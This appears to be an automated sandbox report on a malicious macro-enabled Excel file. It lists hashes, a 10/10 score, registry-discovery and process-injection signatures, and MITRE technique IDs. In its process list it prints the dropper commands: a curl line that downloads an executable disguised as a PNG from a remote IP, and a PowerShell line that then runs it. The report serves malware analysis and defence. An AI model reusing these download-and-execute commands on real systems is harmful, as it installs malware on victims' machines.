55fd7bf4246338d1c8c8146ab23d51c7ae7025a33c281779baa3e0c6f934139d

General

Target

55fd7bf4246338d1c8c8146ab23d51c7ae7025a33c281779baa3e0c6f934139d.xlsm
Size

37KB
MD5

6d03789dc6e7a80cf274bdcce34faf7d
SHA1

2d310960a80eec96d9131a01703c0b53d7513cb5
SHA256

55fd7bf4246338d1c8c8146ab23d51c7ae7025a33c281779baa3e0c6f934139d
SHA512

0d51720e440f591c4c6eadf2882283b5515f9b947514750f5b91c3a26666d4a6321d42c342931ebebd7121627ca96ce7d78e6094eea89243fedf21e2fe3fed96

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1672	3916	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1916	3916	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3916 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1672 powershell.exe
1672 powershell.exe
1672 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1672 powershell.exe

pid	process
1672	powershell.exe
1672	powershell.exe
1672	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1672	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXE

pid	process
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 3916 wrote to memory of 1672	3916	EXCEL.EXE	powershell.exe
PID 3916 wrote to memory of 1672	3916	EXCEL.EXE	powershell.exe
PID 3916 wrote to memory of 1916	3916	EXCEL.EXE	cmd.exe
PID 3916 wrote to memory of 1916	3916	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\55fd7bf4246338d1c8c8146ab23d51c7ae7025a33c281779baa3e0c6f934139d.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3916

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\gDALZ.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1672

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\gDALZ.exe
2⤵
- Process spawned unexpected child process
PID:1916

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1672-258-0x0000000000000000-mapping.dmp

Download
memory/1672-285-0x0000028AEEED6000-0x0000028AEEED8000-memory.dmp

Filesize
8KB

Download
memory/1672-277-0x0000028AEEED3000-0x0000028AEEED5000-memory.dmp

Filesize
8KB

Download
memory/1672-276-0x0000028AEEED0000-0x0000028AEEED2000-memory.dmp

Filesize
8KB

Download
memory/1672-269-0x0000028AEF060000-0x0000028AEF061000-memory.dmp

Filesize
4KB

Download
memory/1672-264-0x0000028AEEEA0000-0x0000028AEEEA1000-memory.dmp

Filesize
4KB

Download
memory/1916-259-0x0000000000000000-mapping.dmp

Download
memory/3916-117-0x00007FFB4C800000-0x00007FFB4C810000-memory.dmp

Filesize
64KB

Download
memory/3916-123-0x00007FFB6AA90000-0x00007FFB6C985000-memory.dmp

Filesize
31.0MB

Download
memory/3916-121-0x00007FFB6C990000-0x00007FFB6DA7E000-memory.dmp

Filesize
16.9MB

Download
memory/3916-122-0x00007FFB4C800000-0x00007FFB4C810000-memory.dmp

Filesize
64KB

Download
memory/3916-118-0x00007FFB4C800000-0x00007FFB4C810000-memory.dmp

Filesize
64KB

Download
memory/3916-114-0x00007FF6C3940000-0x00007FF6C6EF6000-memory.dmp

Filesize
53.7MB

Download
memory/3916-116-0x00007FFB4C800000-0x00007FFB4C810000-memory.dmp

Filesize
64KB

Download
memory/3916-115-0x00007FFB4C800000-0x00007FFB4C810000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads